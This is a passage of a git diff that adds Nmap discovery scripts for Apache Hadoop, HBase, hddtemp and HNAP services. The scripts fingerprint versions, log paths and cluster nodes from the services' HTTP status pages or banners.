+ stdnse.debug1("State %s",state)
+ result["State"] = state
+ end
+ if response['body']:match("Started:</b>%s*([^][<]+)") then
+ local started = response['body']:match("Started:</b>%s*([^][<]+)")
+ stdnse.debug1("Started %s",started)
+ result["Started"] = started
+ end
+ if response['body']:match("Version:</b>%s*([^][<]+)") then
+ local version = response['body']:match("Version:</b>%s*([^][<]+)")
+ local versionNo = version:match("([^][,]+)")
+ local versionHash = version:match("[^][,]+%s+(%w+)")
+ stdnse.debug1("Version %s (%s)",versionNo,versionHash)
+ result["Version"] = ("%s (%s)"):format(versionNo,versionHash)
+ port.version.version = versionNo
+ end
+ if response['body']:match("Compiled:</b>%s*([^][<]+)") then
+ local compiled = response['body']:match("Compiled:</b>%s*([^][<]+)"):gsub("%s+", " ")
+ stdnse.debug1("Compiled %s",compiled)
+ result["Compiled"] = compiled
+ end
+ if response['body']:match("Identifier:</b>%s*([^][<]+)") then
+ local identifier = response['body']:match("Identifier:</b>%s*([^][<]+)")
+ stdnse.debug1("Identifier %s",identifier)
+ result["Identifier"] = identifier
+ end
+ if response['body']:match("([%w/]+)\">Log<") then
+ local logfiles = response['body']:match("([%w/-_:%%]+)\">Log<")
+ stdnse.debug1("Log Files %s",logfiles)
+ result["Log Files"] = logfiles
+ end
+ local tasktrackers = get_tasktrackers (host, port)
+ if next(tasktrackers) then
+ result["Tasktrackers"] = tasktrackers
+ end
+ if stdnse.get_script_args('hadoop-jobtracker-info.userinfo') then
+ local userhistory = get_userhistory (host, port)
+ result["Userhistory"] = userhistory
+ end
+ if #result > 0 then
+ port.version.name = "hadoop-jobtracker"
+ port.version.product = "Apache Hadoop"
+ nmap.set_port_version(host, port)
+ return result
+ end
+end
diff --git a/scripts/hadoop-namenode-info.nse b/scripts/hadoop-namenode-info.nse
new file mode 100644
index 0000000..f0fed49
--- /dev/null
+++ b/scripts/hadoop-namenode-info.nse
@@ -0,0 +1,180 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local tab = require "tab"
+local table = require "table"
+local target = require "target"
+
+description = [[
+Retrieves information from an Apache Hadoop NameNode HTTP status page.
+
+Information gathered:
+* Date/time the service was started
+* Hadoop version
+* Hadoop compile date
+* Upgrades status
+* Filesystem directory (relative to http://host:port/)
+* Log directory (relative to http://host:port/)
+* Associated DataNodes.
+]]
+
+---
+-- @usage
+-- nmap --script hadoop-namenode-info -p 50070 host
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 50070/tcp open hadoop-namenode syn-ack
+-- | hadoop-namenode-info:
+-- | Started: Wed May 11 22:33:44 PDT 2011
+-- | Version: 0.20.2-cdh3u1, f415ef415ef415ef415ef415ef415ef415ef415e
+-- | Compiled: Wed May 11 22:33:44 PDT 2011 by bob from unknown
+-- | Upgrades: There are no upgrades in progress.
+-- | Filesystem: /nn_browsedfscontent.jsp
+-- | Logs: /logs/
+-- | Storage:
+-- | Total Used (DFS) Used (Non DFS) Remaining
+-- | 100 TB 85 TB 500 GB 14.5 TB
+-- | Datanodes (Live):
+-- | datanode1.example.com:50075
+-- |_ datanode2.example.com:50075
+--
+-- @xmloutput
+-- <elem key="Started">Wed May 11 22:33:44 PDT 2011</elem>
+-- <elem key="Version">0.20.2-cdh3u1, f415ef415ef415ef415ef415ef415ef415ef415e</elem>
+-- <elem key="Compiled">Wed May 11 22:33:44 PDT 2011 by bob from unknown</elem>
+-- <elem key="Upgrades">There are no upgrades in progress.</elem>
+-- <elem key="Filesystem">/nn_browsedfscontent.jsp</elem>
+-- <elem key="Logs">/logs/</elem>
+-- <table key="Storage">
+-- <elem key="Total">100 TB</elem>
+-- <elem key="Used (DFS)">85 TB</elem>
+-- <elem key="Used (Non DFS)">500 GB</elem>
+-- <elem key="Remaining">14.5 TB</elem>
+-- </table>
+-- <table key="Datanodes (Live)">
+-- <elem>datanode1.example.com:50075</elem>
+-- <elem>datanode2.example.com:50075</elem>
+-- </table>
+
+
+author = "John R. Bond"
+license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = function(host, port)
+ -- Run for the special port number, or for any HTTP-like service that is
+ -- not on a usual HTTP port.
+ return shortport.port_or_service ({50070}, "hadoop-namenode")(host, port)
+ or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
+end
+
+get_datanodes = function( host, port, Status )
+ local result = {}
+ local uri = "/dfsnodelist.jsp?whatNodes=" .. Status
+ stdnse.debug1("HTTP GET %s:%s%s", host.targetname or host.ip, port.number, uri)
+ local response = http.get( host, port, uri )
+ stdnse.debug1("Status %s",response['status-line'] or "No Response" )
+ if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
+ local body = response['body']:gsub("%%","%%%%")
+ stdnse.debug2("Body %s\n",body)
+ for datanodetmp in string.gmatch(body, "[%w%.:-_]+/browseDirectory.jsp") do
+ local datanode = datanodetmp:gsub("/browseDirectory.jsp","")
+ stdnse.debug1("Datanode %s",datanode)
+ table.insert(result, datanode)
+ if target.ALLOW_NEW_TARGETS then
+ if datanode:match("([%w%.]+)") then
+ local newtarget = datanode:match("([%w%.]+)")
+ stdnse.debug1("Added target: %s", newtarget)
+ local status,err = target.add(newtarget)
+ end
+ end
+ end
+ end
+ return result
+end
+
+action = function( host, port )
+
+ local result = stdnse.output_table()
+ local uri = "/dfshealth.jsp"
+ stdnse.debug1("HTTP GET %s:%s%s", host.targetname or host.ip, port.number, uri)
+ local response = http.get( host, port, uri )
+ stdnse.debug1("Status %s",response['status-line'] or "No Response")
+ if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
+ local body = response['body']:gsub("%%","%%%%")
+ local capacity = {}
+ stdnse.debug2("Body %s\n",body)
+ if body:match("Started:%s*<td>([^][<]+)") then
+ local start = body:match("Started:%s*<td>([^][<]+)")
+ stdnse.debug1("Started %s",start)
+ result["Started"] = start
+ end
+ if body:match("Version:%s*<td>([^][<]+)") then
+ local version = body:match("Version:%s*<td>([^][<]+)")
+ stdnse.debug1("Version %s",version)
+ result["Version"] = version
+ port.version.version = version
+ end
+ if body:match("Compiled:%s*<td>([^][<]+)") then
+ local compiled = body:match("Compiled:%s*<td>([^][<]+)")
+ stdnse.debug1("Compiled %s",compiled)
+ result["Compiled"] = compiled
+ end
+ if body:match("Upgrades:%s*<td>([^][<]+)") then
+ local upgrades = body:match("Upgrades:%s*<td>([^][<]+)")
+ stdnse.debug1("Upgrades %s",upgrades)
+ result["Upgrades"] = upgrades
+ end
+ if body:match("([^][\"]+)\">Browse") then
+ local filesystem = body:match("([^][\"]+)\">Browse")
+ stdnse.debug1("Filesystem %s",filesystem)
+ result["Filesystem"] = filesystem
+ end
+ if body:match("([^][\"]+)\">Namenode") then
+ local logs = body:match("([^][\"]+)\">Namenode")
+ stdnse.debug1("Logs %s",logs)
+ result["Logs"] = logs
+ end
+ for i in string.gmatch(body, "[%d%.]+%s[KMGTP]B") do
+ table.insert(capacity,i)
+ end
+ if #capacity >= 6 then
+ stdnse.debug1("Total %s",capacity[3])
+ stdnse.debug1("Used DFS (NonDFS) %s (%s)",capacity[4],capacity[5])
+ stdnse.debug1("Remaining %s",capacity[6])
+ local storage = {
+ ["Total"] = capacity[3],
+ ["Used (DFS)"] = capacity[4],
+ ["Used (Non DFS)"] = capacity[5],
+ ["Remaining"] = capacity[6],
+ }
+ -- indented tabular string output
+ local st = tab.new()
+ tab.addrow(st, "", "", "Total", "Used (DFS)", "Used (Non DFS)", "Remaining")
+ tab.addrow(st, "", "", capacity[3], capacity[4], capacity[5], capacity[6])
+ st = tab.dump(st)
+ setmetatable(storage, {
+ __tostring = function (t) return "\n" .. st end
+ })
+ result["Storage"] = storage
+ end
+ local datanodes_live = get_datanodes(host,port, "LIVE")
+ if next(datanodes_live) then
+ result["Datanodes (Live)"] = datanodes_live
+ end
+ local datanodes_dead = get_datanodes(host,port, "DEAD")
+ if next(datanodes_dead) then
+ result["Datanodes (Dead)"] = datanodes_dead
+ end
+ if #result > 0 then
+ port.version.name = "hadoop-namenode"
+ port.version.product = "Apache Hadoop"
+ nmap.set_port_version(host, port)
+ return result
+ end
+ end
+end
diff --git a/scripts/hadoop-secondary-namenode-info.nse b/scripts/hadoop-secondary-namenode-info.nse
new file mode 100644
index 0000000..3b7e706
--- /dev/null
+++ b/scripts/hadoop-secondary-namenode-info.nse
@@ -0,0 +1,122 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local target = require "target"
+
+description = [[
+Retrieves information from an Apache Hadoop secondary NameNode HTTP status page.
+
+Information gathered:
+* Date/time the service was started
+* Hadoop version
+* Hadoop compile date
+* Hostname or IP address and port of the master NameNode server
+* Last time a checkpoint was taken
+* How often checkpoints are taken (in seconds)
+* Log directory (relative to http://host:port/)
+* File size of current checkpoint
+]]
+
+---
+-- @usage
+-- nmap --script hadoop-secondary-namenode-info -p 50090 host
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 50090/tcp open unknown syn-ack
+-- | hadoop-secondary-namenode-info:
+-- | Start: Wed May 11 22:33:44 PDT 2011
+-- | Version: 0.20.2, f415ef415ef415ef415ef415ef415ef415ef415e
+-- | Compiled: Wed May 11 22:33:44 PDT 2011 by bob from unknown
+-- | Log: /logs/
+-- | namenode: namenode1.example.com/192.0.1.1:8020
+-- | Last Checkpoint: Wed May 11 22:33:44 PDT 2011
+-- | Checkpoint Period: 3600 seconds
+-- |_ Checkpoint Size: 12345678 MB
+--
+-- @xmloutput
+-- <elem key="Start">Wed May 11 22:33:44 PDT 2011</elem>
+-- <elem key="Version">0.20.2, f415ef415ef415ef415ef415ef415ef415ef415e</elem>
+-- <elem key="Compiled">Wed May 11 22:33:44 PDT 2011 by bob from unknown</elem>
+-- <elem key="Log">/logs/</elem>
+-- <elem key="namenode">namenode1.example.com/192.0.1.1:8020</elem>
+-- <elem key="Last Checkpoint">Wed May 11 22:33:44 PDT 2011</elem>
+-- <elem key="Checkpoint Period">3600 seconds</elem>
+-- <elem key="Checkpoint Size">12345678 MB</elem>
+
+author = "John R. Bond"
+license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = function(host, port)
+ -- Run for the special port number, or for any HTTP-like service that is
+ -- not on a usual HTTP port.
+ return shortport.port_or_service ({50090}, "hadoop-secondary-namenode")(host, port)
+ or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
+end
+
+action = function( host, port )
+
+ local result = stdnse.output_table()
+ local uri = "/status.jsp"
+ stdnse.debug1("HTTP GET %s:%s%s", host.targetname or host.ip, port.number, uri)
+ local response = http.get( host, port, uri )
+ stdnse.debug1("Status %s",response['status-line'] or "No Resposne")
+ if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
+ local body = response['body']:gsub("%%","%%%%")
+ local stats = {}
+ stdnse.debug2("Body %s\n",body)
+ -- Page isn't valid html :(
+ for i in string.gmatch(body,"\n[%w%s]+:%s+[^][\n]+") do
+ table.insert(stats,i:match(":%s+([^][\n]+)"))
+ end
+ if #stats == 5 then
+ stdnse.debug1("namenode %s",stats[1])
+ stdnse.debug1("Start %s",stats[2])
+ stdnse.debug1("Last Checkpoint %s",stats[3])
+ stdnse.debug1("Checkpoint Period %s",stats[4])
+ stdnse.debug1("Checkpoint Size %s",stats[5])
+ result["Start"] = stats[2]
+ end
+ if body:match("Version:%s*</td><td>([^][\n]+)") then
+ local version = body:match("Version:%s*</td><td>([^][\n]+)")
+ stdnse.debug1("Version %s",version)
+ result["Version"] = version
+ port.version.version = version
+ end
+ if body:match("Compiled:%s*</td><td>([^][\n]+)") then
+ local compiled = body:match("Compiled:%s*</td><td>([^][\n]+)")
+ stdnse.debug1("Compiled %s",compiled)
+ result["Compiled"] = compiled
+ end
+ if body:match("([^][\"]+)\">Logs") then
+ local logs = body:match("([^][\"]+)\">Logs")
+ stdnse.debug1("Logs %s",logs)
+ result["Logs"] = logs
+ end
+ if #stats == 5 then
+ result["Namenode"] = stats[1]
+ result["Last Checkpoint"] = stats[3]
+ result["Checkpoint Period"] = stats[4]
+ result["Checkpoint"] = stats[5]
+ end
+ if target.ALLOW_NEW_TARGETS then
+ if stats[1]:match("([^][/]+)") then
+ local newtarget = stats[1]:match("([^][/]+)")
+ stdnse.debug1("Added target: %s", newtarget)
+ local status,err = target.add(newtarget)
+ end
+ end
+ if #result > 0 then
+ port.version.name = "hadoop-secondary-namenode"
+ port.version.product = "Apache Hadoop"
+ nmap.set_port_version(host, port)
+ return result
+ end
+
+ end
+end
diff --git a/scripts/hadoop-tasktracker-info.nse b/scripts/hadoop-tasktracker-info.nse
new file mode 100644
index 0000000..bc236f0
--- /dev/null
+++ b/scripts/hadoop-tasktracker-info.nse
@@ -0,0 +1,80 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Retrieves information from an Apache Hadoop TaskTracker HTTP status page.
+
+Information gathered:
+* Hadoop version
+* Hadoop Compile date
+* Log directory (relative to http://host:port/)
+]]
+
+---
+-- @usage
+-- nmap --script hadoop-tasktracker-info -p 50060 host
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 50060/tcp open hadoop-tasktracker syn-ack
+-- | hadoop-tasktracker-info:
+-- | Version: 0.20.1 (f415ef415ef415ef415ef415ef415ef415ef415e)
+-- | Compiled: Wed May 11 22:33:44 PDT 2011 by bob from unknown
+-- |_ Logs: /logs/
+--
+-- @xmloutput
+-- <elem key="Version">0.20.1 (f415ef415ef415ef415ef415ef415ef415ef415e)</elem>
+-- <elem key="Compiled">Wed May 11 22:33:44 PDT 2011 by bob from unknown</elem>
+-- <elem key="Logs">/logs/</elem>
+
+
+author = "John R. Bond"
+license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = function(host, port)
+ -- Run for the special port number, or for any HTTP-like service that is
+ -- not on a usual HTTP port.
+ return shortport.port_or_service ({50060}, "hadoop-tasktracker")(host, port)
+ or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
+end
+
+action = function( host, port )
+
+ local result = stdnse.output_table()
+ local uri = "/tasktracker.jsp"
+ stdnse.debug1("HTTP GET %s:%s%s", host.targetname or host.ip, port.number, uri)
+ local response = http.get( host, port, uri )
+ stdnse.debug1("Status %s",response['status-line'] or "No Response")
+ if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
+ local body = response['body']:gsub("%%","%%%%")
+ stdnse.debug2("Body %s\n",body)
+ if response['body']:match("Version:</b>%s*([^][<]+)") then
+ local version = response['body']:match("Version:</b>%s*([^][<]+)")
+ local versionNo = version:match("([^][,]+)")
+ local versionHash = version:match("[^][,]+%s+(%w+)")
+ stdnse.debug1("Version %s (%s)",versionNo,versionHash)
+ result["Version"] = ("%s (%s)"):format(versionNo, versionHash)
+ port.version.version = version
+ end
+ if response['body']:match("Compiled:</b>%s*([^][<]+)") then
+ local compiled = response['body']:match("Compiled:</b>%s*([^][<]+)"):gsub("%s+", " ")
+ stdnse.debug1("Compiled %s",compiled)
+ result["Compiled"] = compiled
+ end
+ if body:match("([^][\"]+)\">Log") then
+ local logs = body:match("([^][\"]+)\">Log")
+ stdnse.debug1("Logs %s",logs)
+ result["Logs"] = logs
+ end
+ if #result > 0 then
+ port.version.name = "hadoop-tasktracker"
+ port.version.product = "Apache Hadoop"
+ nmap.set_port_version(host, port)
+ return result
+ end
+ end
+end
diff --git a/scripts/hbase-master-info.nse b/scripts/hbase-master-info.nse
new file mode 100644
index 0000000..8a3ac13
--- /dev/null
+++ b/scripts/hbase-master-info.nse
@@ -0,0 +1,145 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local target = require "target"
+
+description = [[
+Retrieves information from an Apache HBase (Hadoop database) master HTTP status page.
+
+Information gathered:
+* Hbase version
+* Hbase compile date
+* Hbase root directory
+* Hadoop version
+* Hadoop compile date
+* Average load
+* Zookeeper quorum server
+* Associated region servers
+]]
+
+---
+-- @usage
+-- nmap --script hbase-master-info -p 60010 host
+--
+-- @output
+-- | hbase-master-info:
+-- | Hbase Version: 0.90.1
+-- | Hbase Compiled: Wed May 11 22:33:44 PDT 2011, bob
+-- | HBase Root Directory: hdfs://master.example.com:8020/hbase
+-- | Hadoop Version: 0.20 f415ef415ef415ef415ef415ef415ef415ef415e
+-- | Hadoop Compiled: Wed May 11 22:33:44 PDT 2011, bob
+-- | Average Load: 0.12
+-- | Zookeeper Quorum: zookeeper.example.com:2181
+-- | Region Servers:
+-- | region1.example.com:60030
+-- |_ region2.example.com:60030
+-- @xmloutput
+-- <elem key="Hbase Version">0.90.1</elem>
+-- <elem key="Hbase Compiled">Wed May 11 22:33:44 PDT 2011, bob</elem>
+-- <elem key="HBase Root Directory">hdfs://master.example.com:8020/hbase</elem>
+-- <elem key="Hadoop Version">0.20 f415ef415ef415ef415ef415ef415ef415ef415e</elem>
+-- <elem key="Hadoop Compiled">Wed May 11 22:33:44 PDT 2011, bob</elem>
+-- <elem key="Average Load">0.12</elem>
+-- <elem key="Zookeeper Quorum">zookeeper.example.com:2181</elem>
+-- <table key="Region Servers">
+-- <elem>region1.example.com:60030</elem>
+-- <elem>region2.example.com:60030</elem>
+-- </table>
+
+
+author = "John R. Bond"
+license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = function(host, port)
+ -- Run for the special port number, or for any HTTP-like service that is
+ -- not on a usual HTTP port.
+ return shortport.port_or_service ({60010}, "hbase-master")(host, port)
+ or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
+end
+
+action = function( host, port )
+
+ local result = stdnse.output_table()
+ local region_servers = {}
+ local uri = "/master.jsp"
+ stdnse.debug1("HTTP GET %s:%s%s", host.targetname or host.ip, port.number, uri)
+ local response = http.get( host, port, uri )
+ stdnse.debug1("Status %s",response['status-line'] or "No Response")
+ if not (response['status-line'] and response['status-line']:match("200%s+OK") and response['body']) then
+ return nil
+ end
+ local body = response['body']:gsub("%%","%%%%")
+ stdnse.debug2("Body %s\n",body)
+ if body:match("HBase%s+Version</td><td>([^][<]+)") then
+ local version = body:match("HBase%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
+ stdnse.debug1("Hbase Version %s",version)
+ result["Hbase Version"] = version
+ port.version.version = version
+ end
+ if body:match("HBase%s+Compiled</td><td>([^][<]+)") then
+ local compiled = body:match("HBase%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
+ stdnse.debug1("Hbase Compiled %s",compiled)
+ result["Hbase Compiled"] = compiled
+ end
+ if body:match("Directory</td><td>([^][<]+)") then
+ local compiled = body:match("Directory</td><td>([^][<]+)"):gsub("%s+", " ")
+ stdnse.debug1("HBase RootDirectory %s",compiled)
+ result["HBase Root Directory"] = compiled
+ end
+ if body:match("Hadoop%s+Version</td><td>([^][<]+)") then
+ local version = body:match("Hadoop%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
+ stdnse.debug1("Hadoop Version %s",version)
+ result["Hadoop Version"] = version
+ end
+ if body:match("Hadoop%s+Compiled</td><td>([^][<]+)") then
+ local compiled = body:match("Hadoop%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
+ stdnse.debug1("Hadoop Compiled %s",compiled)
+ result["Hadoop Compiled"] = compiled
+ end
+ if body:match("average</td><td>([^][<]+)") then
+ local average = body:match("average</td><td>([^][<]+)"):gsub("%s+", " ")
+ stdnse.debug1("Average Load %s",average)
+ result["Average Load"] = average
+ end
+ if body:match("Quorum</td><td>([^][<]+)") then
+ local quorum = body:match("Quorum</td><td>([^][<]+)"):gsub("%s+", " ")
+ stdnse.debug1("Zookeeper Quorum %s",quorum)
+ result["Zookeeper Quorum"] = quorum
+ if target.ALLOW_NEW_TARGETS then
+ if quorum:match("([%w%.]+)") then
+ local newtarget = quorum:match("([%w%.]+)")
+ stdnse.debug1("Added target: %s", newtarget)
+ local status,err = target.add(newtarget)
+ end
+ end
+ end
+ for line in string.gmatch(body, "[^\n]+") do
+ stdnse.debug3("Line %s\n",line)
+ if line:match("maxHeap") then
+ local region_server= line:match("\">([^][<]+)</a>")
+ stdnse.debug1("Region Server %s",region_server)
+ table.insert(region_servers, region_server)
+ if target.ALLOW_NEW_TARGETS then
+ if region_server:match("([%w%.]+)") then
+ local newtarget = region_server:match("([%w%.]+)")
+ stdnse.debug1("Added target: %s", newtarget)
+ local status,err = target.add(newtarget)
+ end
+ end
+ end
+ end
+ if next(region_servers) then
+ result["Region Servers"] = region_servers
+ end
+ if #result > 0 then
+ port.version.name = "hbase-master"
+ port.version.product = "Apache Hadoop Hbase"
+ nmap.set_port_version(host, port)
+ return result
+ end
+end
diff --git a/scripts/hbase-region-info.nse b/scripts/hbase-region-info.nse
new file mode 100644
index 0000000..d710bdb
--- /dev/null
+++ b/scripts/hbase-region-info.nse
@@ -0,0 +1,94 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local target = require "target"
+
+description = [[
+Retrieves information from an Apache HBase (Hadoop database) region server HTTP status page.
+
+Information gathered:
+* HBase version
+* HBase compile date
+* A bunch of metrics about the state of the region server
+* Zookeeper quorum server
+]]
+
+---
+-- @usage
+-- nmap --script hbase-region-info -p 60030 host
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 60030/tcp open hbase-region syn-ack
+-- | hbase-region-info:
+-- | Hbase Version: 0.90.1
+-- | Hbase Compiled: Wed May 11 22:33:44 PDT 2011, bob
+-- | Metrics requests=0, regions=0, stores=0, storefiles=0, storefileIndexSize=0, memstoreSize=0,
+-- | compactionQueueSize=0, flushQueueSize=0, usedHeap=0, maxHeap=0, blockCacheSize=0,
+-- | blockCacheFree=0, blockCacheCount=0, blockCacheHitCount=0, blockCacheMissCount=0,
+-- | blockCacheEvictedCount=0, blockCacheHitRatio=0, blockCacheHitCachingRatio=0
+-- |_ Zookeeper Quorum: zookeeper.example.com:2181
+---
+
+
+author = "John R. Bond"
+license = "Simplified (2-clause) BSD license--See https://nmap.org/svn/docs/licenses/BSD-simplified"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = function(host, port)
+ -- Run for the special port number, or for any HTTP-like service that is
+ -- not on a usual HTTP port.
+ return shortport.port_or_service ({60030}, "hbase-region")(host, port)
+ or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
+end
+
+action = function( host, port )
+
+ local result = stdnse.output_table()
+ -- uri was previously "/regionserver.jsp". See
+ -- http://seclists.org/nmap-dev/2012/q3/903.
+ local uri = "/rs-status"
+ stdnse.debug1("HTTP GET %s:%s%s", host.targetname or host.ip, port.number, uri)
+ local response = http.get( host, port, uri )
+ stdnse.debug1("Status %s",response['status-line'] or "No Response")
+ if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
+ local body = response['body']:gsub("%%","%%%%")
+ stdnse.debug2("Body %s\n",body)
+ if body:match("HBase%s+Version</td><td>([^][<]+)") then
+ local version = body:match("HBase%s+Version</td><td>([^][<]+)"):gsub("%s+", " ")
+ stdnse.debug1("Hbase Version %s",version)
+ result["Hbase Version"] = version
+ port.version.version = version
+ end
+ if body:match("HBase%s+Compiled</td><td>([^][<]+)") then
+ local compiled = body:match("HBase%s+Compiled</td><td>([^][<]+)"):gsub("%s+", " ")
+ stdnse.debug1("Hbase Compiled %s",compiled)
+ result["Hbase Compiled"] = compiled
+ end
+ if body:match("Metrics</td><td>([^][<]+)") then
+ local metrics = body:match("Metrics</td><td>([^][<]+)"):gsub("%s+", " ")
+ stdnse.debug1("Metrics %s",metrics)
+ result["Metrics"] = metrics
+ end
+ if body:match("Quorum</td><td>([^][<]+)") then
+ local quorum = body:match("Quorum</td><td>([^][<]+)"):gsub("%s+", " ")
+ stdnse.debug1("Zookeeper Quorum %s",quorum)
+ result["Zookeeper Quorum"] = quorum
+ if target.ALLOW_NEW_TARGETS then
+ if quorum:match("([%w%.]+)") then
+ local newtarget = quorum:match("([%w%.]+)")
+ stdnse.debug1("Added target: %s", newtarget)
+ local status,err = target.add(newtarget)
+ end
+ end
+ end
+ if #result > 0 then
+ port.version.name = "hbase-region"
+ port.version.product = "Apache Hadoop Hbase"
+ nmap.set_port_version(host, port)
+ return result
+ end
+ end
+end
diff --git a/scripts/hddtemp-info.nse b/scripts/hddtemp-info.nse
new file mode 100644
index 0000000..86dee83
--- /dev/null
+++ b/scripts/hddtemp-info.nse
@@ -0,0 +1,69 @@
+local comm = require "comm"
+local math = require "math"
+local shortport = require "shortport"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Reads hard disk information (such as brand, model, and sometimes temperature) from a listening hddtemp service.
+]]
+
+---
+-- @usage
+-- nmap -p 7634 -sV -sC <target>
+--
+-- @output
+-- 7634/tcp open hddtemp
+-- | hddtemp-info:
+-- |_ /dev/sda: WDC WD2500JS-60MHB1: 38 C
+--
+-- @xmloutput
+-- <table>
+-- <elem key="label">WDC WD2500JS-60MHB1</elem>
+-- <elem key="unit">C</elem>
+-- <elem key="device">/dev/sda</elem>
+-- <elem key="temperature">38</elem>
+-- </table>
+-- <table>
+-- <elem key="label">WDC WD3200BPVT-75JJ5T0</elem>
+-- <elem key="unit">C</elem>
+-- <elem key="device">/dev/sdb</elem>
+-- <elem key="temperature">41</elem>
+-- </table>
+
+author = "Toni Ruottu"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+
+portrule = shortport.port_or_service (7634, "hddtemp", {"tcp"})
+
+local fmt_meta = {
+ __tostring = function (t)
+ return string.format("%s: %s: %s %s", t.device, t.label, t.temperature, t.unit)
+ end
+}
+action = function( host, port )
+ -- 5000B should be enough for 100 disks
+ local status, data = comm.get_banner(host, port, {bytes=5000})
+ if not status then
+ return
+ end
+ local separator = string.sub(data, 1, 1)
+ local fields = stringaux.strsplit(separator, data)
+ local info = {}
+ local disks = math.floor((# fields) / 5)
+ for i = 0, (disks - 1) do
+ local start = i * 5
+ local diskinfo = {
+ device = fields[start + 2],
+ label = fields[start + 3],
+ temperature = fields[start + 4],
+ unit = fields[start + 5],
+ }
+ setmetatable(diskinfo, fmt_meta)
+ table.insert(info, diskinfo)
+ end
+ return info
+end
diff --git a/scripts/hnap-info.nse b/scripts/hnap-info.nse
new file mode 100644
index 0000000..0cc53fc
--- /dev/null
+++ b/scripts/hnap-info.nse
@@ -0,0 +1,130 @@
+local http = require "http"
+local table = require "table"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local slaxml = require "slaxml"
+local nmap = require "nmap"
+
+description = [[
+Retrieve hardwares details and configuration information utilizing HNAP, the "Home Network Administration Protocol".
+It is an HTTP-Simple Object Access Protocol (SOAP)-based protocol which allows for remote topology discovery,
+configuration, and management of devices (routers, cameras, PCs, NAS, etc.)]]
+
+---
+-- @usage
+-- nmap --script hnap-info -p80,8080 <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 8080/tcp open http-proxy syn-ack
+-- | hnap-info:
+-- | Type: GatewayWithWiFi
+-- | Device: Ingraham
+-- | Vendor: Linksys
+-- | Description: Linksys E1200
+-- | Model: E1200
+-- | Firmware: 1.0.00 build 11
+-- | Presentation URL: http://192.168.1.1/
+-- | SOAPACTIONS:
+-- | http://purenetworks.com/HNAP1/IsDeviceReady
+-- | http://purenetworks.com/HNAP1/GetDeviceSettings
+-- | http://purenetworks.com/HNAP1/SetDeviceSettings
+-- | http://purenetworks.com/HNAP1/GetDeviceSettings2
+-- | http://purenetworks.com/HNAP1/SetDeviceSettings2
+--
+--
+-- @xmloutput
+-- <elem key="Type">GatewayWithWiFi</elem>
+-- <elem key="Device">Ingraham</elem>
+-- <elem key="Vendor">Linksys</elem>
+-- <elem key="Description">Linksys E1200</elem>
+-- <elem key="Model">E1200</elem>
+-- <elem key="Firmware">1.0.00 build 11</elem>
+-- <elem key="Presentation URL">http://192.168.1.1/</elem>
+-- <table key="SOAPACTIONS">
+-- <elem>http://purenetworks.com/HNAP1/IsDeviceReady</elem>
+-- <elem>http://purenetworks.com/HNAP1/GetDeviceSettings</elem>
+-- <elem>http://purenetworks.com/HNAP1/SetDeviceSettings</elem>
+-- <elem>http://purenetworks.com/HNAP1/GetDeviceSettings2</elem>
+-- <elem>http://purenetworks.com/HNAP1/SetDeviceSettings2</elem>
+-- </table>
+-----------------------------------------------------------------------
+
+author = "Gyanendra Mishra"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {
+ "safe",
+ "discovery",
+ "default",
+ "version"
+}
+
+
+portrule = function(host, port)
+ return (shortport.http(host,port) and nmap.version_intensity() >= 7)
+end
+
+local ELEMENTS = {["Type"] = "Type",
+["DeviceName"] = "Device",
+["VendorName"] = "Vendor",
+["ModelDescription"] = "Description",
+["ModelName"] = "Model",
+["FirmwareVersion"] = "Firmware",
+["PresentationURL"] = "Presentation URL",
+["string"] = "SOAPACTIONS",
+["SubDeviceURLs"] = "Sub Device URLs"}
+
